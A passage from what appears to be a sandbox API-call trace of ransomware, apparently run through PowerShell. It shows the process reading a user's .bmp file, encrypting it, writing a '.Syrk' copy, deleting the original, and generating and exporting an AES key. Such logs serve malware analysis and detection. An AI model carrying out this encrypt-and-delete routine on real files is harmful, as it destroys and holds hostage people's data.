lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", lpFilePart=0x0) returned 0x36 [0189.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0189.897] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ac [0189.897] GetFileType (hFile=0x3ac) returned 0x1 [0189.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0189.897] GetFileType (hFile=0x3ac) returned 0x1 [0189.897] EtwEventActivityIdControl () returned 0x0 [0189.898] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.898] EtwEventActivityIdControl () returned 0x0 [0189.898] EtwEventActivityIdControl () returned 0x0 [0189.898] EtwEventActivityIdControl () returned 0x0 [0189.899] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0189.899] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk", lpFilePart=0x0) returned 0x3b [0189.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0189.899] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x460 [0189.901] GetFileType (hFile=0x460) returned 0x1 [0189.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0189.901] GetFileType (hFile=0x460) returned 0x1 [0189.901] EtwEventActivityIdControl () returned 0x0 [0189.901] CryptGenRandom (in: hProv=0x3742b0, dwLen=0x10, pbBuffer=0x2404e7c | out: pbBuffer=0x2404e7c) returned 1 [0189.903] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.903] CryptDuplicateKey (in: hKey=0x5c69080, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68e40) returned 1 [0189.903] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.903] CryptSetKeyParam (hKey=0x5c68e40, dwParam=0x4, pbData=0x24062b0*=0x1, dwFlags=0x0) returned 1 [0189.903] CryptSetKeyParam (hKey=0x5c68e40, dwParam=0x1, pbData=0x240627c, dwFlags=0x0) returned 1 [0189.903] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.904] EtwEventActivityIdControl () returned 0x0 [0189.904] EtwEventActivityIdControl () returned 0x0 [0189.904] EtwEventActivityIdControl () returned 0x0 [0189.905] EtwEventActivityIdControl () returned 0x0 [0189.905] ReadFile (in: hFile=0x3ac, lpBuffer=0x2408f18, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x2408f18*, lpNumberOfBytesRead=0x5a2ea0c*=0xc62c, lpOverlapped=0x0) returned 1 [0189.907] CryptEncrypt (in: hKey=0x5c68e40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x241cf30*, pdwDataLen=0x5a2ea00*=0xc620, dwBufLen=0xc620 | out: pbData=0x241cf30*, pdwDataLen=0x5a2ea00*=0xc620) returned 1 [0189.908] WriteFile (in: hFile=0x460, lpBuffer=0x2404fb8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x2404fb8*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0189.909] WriteFile (in: hFile=0x460, lpBuffer=0x241df1c*, nNumberOfBytesToWrite=0xb634, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x241df1c*, lpNumberOfBytesWritten=0x5a2e9e4*=0xb634, lpOverlapped=0x0) returned 1 [0189.910] ReadFile (in: hFile=0x3ac, lpBuffer=0x2408f18, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x2408f18*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0189.910] CryptEncrypt (in: hKey=0x5c68e40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24295b0*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x24295b0*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0189.910] CryptEncrypt (in: hKey=0x5c68e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24295cc*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x24295cc*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0189.910] WriteFile (in: hFile=0x460, lpBuffer=0x2404fb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x2404fb8*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0189.910] CloseHandle (hObject=0x460) returned 1 [0189.912] CloseHandle (hObject=0x3ac) returned 1 [0189.912] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.913] EtwEventActivityIdControl () returned 0x0 [0189.913] EtwEventActivityIdControl () returned 0x0 [0189.913] EtwEventActivityIdControl () returned 0x0 [0189.917] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp")) returned 0x20 [0189.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0189.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", lpFilePart=0x0) returned 0x36 [0189.919] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0189.920] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0189.920] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0189.920] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0189.920] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0189.920] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0189.920] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0189.920] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0189.920] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0189.920] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0189.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0189.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0189.921] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0189.921] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0189.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0189.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0189.921] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0189.921] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0189.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0189.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0189.921] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp")) returned 0x20 [0189.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0189.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", lpFilePart=0x0) returned 0x36 [0189.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0189.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", lpFilePart=0x0) returned 0x36 [0189.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0189.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0189.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", lpFilePart=0x0) returned 0x36 [0189.925] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0189.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0189.925] CoTaskMemAlloc (cb=0x404) returned 0x38a958 [0189.925] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x38a958, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0189.925] CoTaskMemFree (pv=0x38a958) [0189.927] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp")) returned 0x20 [0189.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0189.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", lpFilePart=0x0) returned 0x36 [0189.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0189.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp"), fInfoLevelId=0x0, lpFileInformation=0x2436400 | out: lpFileInformation=0x2436400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da1bc20, ftCreationTime.dwHighDateTime=0x1d9920a, ftLastAccessTime.dwLowDateTime=0x350cfc80, ftLastAccessTime.dwHighDateTime=0x1d99ab2, ftLastWriteTime.dwLowDateTime=0x350cfc80, ftLastWriteTime.dwHighDateTime=0x1d99ab2, nFileSizeHigh=0x0, nFileSizeLow=0xc62c)) returned 1 [0189.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0189.927] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp")) returned 1 [0189.931] EtwEventActivityIdControl () returned 0x0 [0189.931] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.932] EtwEventActivityIdControl () returned 0x0 [0189.932] EtwEventActivityIdControl () returned 0x0 [0189.932] EtwEventActivityIdControl () returned 0x0 [0189.938] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp.syrk")) returned 0x20 [0189.938] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp.syrk")) returned 0x20 [0189.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0189.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk", lpFilePart=0x0) returned 0x3b [0189.939] EtwEventActivityIdControl () returned 0x0 [0189.939] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.940] EtwEventActivityIdControl () returned 0x0 [0189.940] EtwEventActivityIdControl () returned 0x0 [0189.940] EtwEventActivityIdControl () returned 0x0 [0189.943] EtwEventActivityIdControl () returned 0x0 [0189.943] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.944] EtwEventActivityIdControl () returned 0x0 [0189.944] EtwEventActivityIdControl () returned 0x0 [0189.944] EtwEventActivityIdControl () returned 0x0 [0189.947] EtwEventActivityIdControl () returned 0x0 [0189.947] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.947] EtwEventActivityIdControl () returned 0x0 [0189.947] EtwEventActivityIdControl () returned 0x0 [0189.947] EtwEventActivityIdControl () returned 0x0 [0189.950] EtwEventActivityIdControl () returned 0x0 [0189.950] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.951] EtwEventActivityIdControl () returned 0x0 [0189.951] EtwEventActivityIdControl () returned 0x0 [0189.951] EtwEventActivityIdControl () returned 0x0 [0189.953] EtwEventActivityIdControl () returned 0x0 [0189.954] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.954] EtwEventActivityIdControl () returned 0x0 [0189.954] EtwEventActivityIdControl () returned 0x0 [0189.954] EtwEventActivityIdControl () returned 0x0 [0189.959] EtwEventActivityIdControl () returned 0x0 [0189.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0189.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp.syrk"), fInfoLevelId=0x0, lpFileInformation=0x244138c | out: lpFileInformation=0x244138c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf0d960, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xedf0d960, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xedf33ac0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xc644)) returned 1 [0189.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0189.964] GetConsoleOutputCP () returned 0x1b5 [0189.965] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.965] GetConsoleOutputCP () returned 0x1b5 [0189.965] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.965] GetConsoleOutputCP () returned 0x1b5 [0189.965] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.965] GetConsoleOutputCP () returned 0x1b5 [0189.965] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.966] GetConsoleOutputCP () returned 0x1b5 [0189.966] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.966] GetConsoleOutputCP () returned 0x1b5 [0189.966] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.967] GetConsoleOutputCP () returned 0x1b5 [0189.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.967] GetConsoleOutputCP () returned 0x1b5 [0189.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.967] GetConsoleOutputCP () returned 0x1b5 [0189.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.967] GetConsoleOutputCP () returned 0x1b5 [0189.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.967] GetConsoleOutputCP () returned 0x1b5 [0189.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.967] GetConsoleOutputCP () returned 0x1b5 [0189.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.968] GetConsoleOutputCP () returned 0x1b5 [0189.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.968] GetConsoleOutputCP () returned 0x1b5 [0189.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.968] GetConsoleOutputCP () returned 0x1b5 [0189.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.968] GetConsoleOutputCP () returned 0x1b5 [0189.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.968] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0189.969] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0189.970] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245b140*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x245b140*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0189.971] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0189.973] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0189.973] EtwEventActivityIdControl () returned 0x0 [0189.973] EtwEventActivityIdControl () returned 0x0 [0189.974] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.974] EtwEventActivityIdControl () returned 0x0 [0189.974] EtwEventActivityIdControl () returned 0x0 [0189.974] EtwEventActivityIdControl () returned 0x0 [0189.976] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.976] EtwEventActivityIdControl () returned 0x0 [0189.976] EtwEventActivityIdControl () returned 0x0 [0189.976] EtwEventActivityIdControl () returned 0x0 [0189.978] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4ccc0) returned 1 [0189.979] CryptGenKey (in: hProv=0x5c4ccc0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c68cc0) returned 1 [0189.979] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.979] CryptExportKey (in: hKey=0x5c68cc0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0189.979] CryptExportKey (in: hKey=0x5c68cc0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2462dd8, pdwDataLen=0x5a2e79c | out: pbData=0x2462dd8*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0189.979] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.980] EtwEventActivityIdControl () returned 0x0 [0189.980] EtwEventActivityIdControl () returned 0x0 [0189.980] EtwEventActivityIdControl () returned 0x0 [0189.981] SysStringLen (param_1="") returned 0x8 [0189.981] SysStringLen (param_1="x") returned 0x8 [0189.981] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.981] SysStringLen (param_1="燽蝺崪烦삙窀ᾨ") returned 0x8 [0189.981] SysStringLen (param_1="燽蝺崪烦삙窀ᾨ") returned 0x8 [0189.981] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.981] SysStringLen (param_1="xo") returned 0x8 [0189.981] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.981] SysStringLen (param_1="꺦쎽囎鏪ꥭ毾堙\⋟) returned 0x8 [0189.981] SysStringLen (param_1="꺦쎽囎鏪ꥭ毾堙\⋟) returned 0x8 [0189.981] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.981] SysStringLen (param_1="xoi") returned 0x8 [0189.981] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, 